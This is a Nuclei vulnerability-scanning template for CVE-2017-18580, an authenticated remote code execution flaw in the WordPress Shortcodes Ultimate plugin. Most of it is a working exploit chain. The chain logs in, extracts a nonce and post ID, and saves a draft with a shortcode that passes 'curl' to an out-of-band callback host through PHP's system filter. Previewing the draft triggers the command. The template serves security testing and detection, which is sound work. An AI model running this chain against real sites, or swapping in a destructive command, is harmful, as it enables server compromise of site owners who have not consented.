CVE-2017-18580: WordPress Shortcodes Ultimate <= 5.0.0 - Authenticated Remote Code Execution

id: CVE-2017-18580

info:
  name: WordPress Shortcodes Ultimate <= 5.0.0 - Authenticated Remote Code Execution
  author: 0x_Akoko
  severity: critical
  description: |
    Shortcodes Ultimate plugin before 5.0.1 for WordPress contains a remote code execution caused by a filter in meta, post, or user shortcode, letting remote attackers execute arbitrary code, exploit requires sending crafted shortcode data.
  impact: |
    Remote attackers can execute arbitrary code on the server, potentially leading to full site compromise.
  remediation: |
    Update to version 5.0.1 or later.
  reference:
    - https://wpscan.com/vulnerability/efad59c8-e6ae-4167-9c78-d3ea52fe5bba/
    - https://plugins.trac.wordpress.org/changeset/1756323/shortcodes-ultimate
    - https://blog.sucuri.net/2017/11/formidable-forms-shortcodes-ultimate-exploits-in-the-wild.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18580
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2017-18580
    cwe-id: CWE-94
    epss-score: 0.75163
    epss-percentile: 0.98831
  metadata:
    verified: true
    max-request: 4
    vendor: developer_developer
    product: shortcodes-ultimate
    framework: wordpress
    publicwww-query: "/wp-content/plugins/shortcodes-ultimate/"
  tags: cve,cve2017,wordpress,wp-plugin,shortcodes-ultimate,rce,authenticated,oast,wp,vkev

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/post-new.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "_wpnonce")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        group: 1
        regex:
          - 'metabox-base-form">\s*<input type="hidden" id="_wpnonce" name="_wpnonce" value="([a-f0-9]+)"'

      - type: regex
        name: post_id
        part: body
        internal: true
        group: 1
        regex:
          - "id='post_ID' name='post_ID' value='([0-9]+)'"

  - raw:
      - |
        POST /wp-admin/post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=editpost&post_ID={{post_id}}&post_status=draft&post_type=post&_wpnonce={{nonce}}&post_title=nuclei-rce-test&content=%5Bsu_meta+key%3D1+post_id%3D1+default%3D%27curl+{{interactsh-url}}%27+filter%3D%27system%27%5D

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "post=")
        condition: and
        internal: true

  - raw:
      - |
        GET /?p={{post_id}}&preview=true HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "dns") || contains(interactsh_protocol, "http")'
        condition: and
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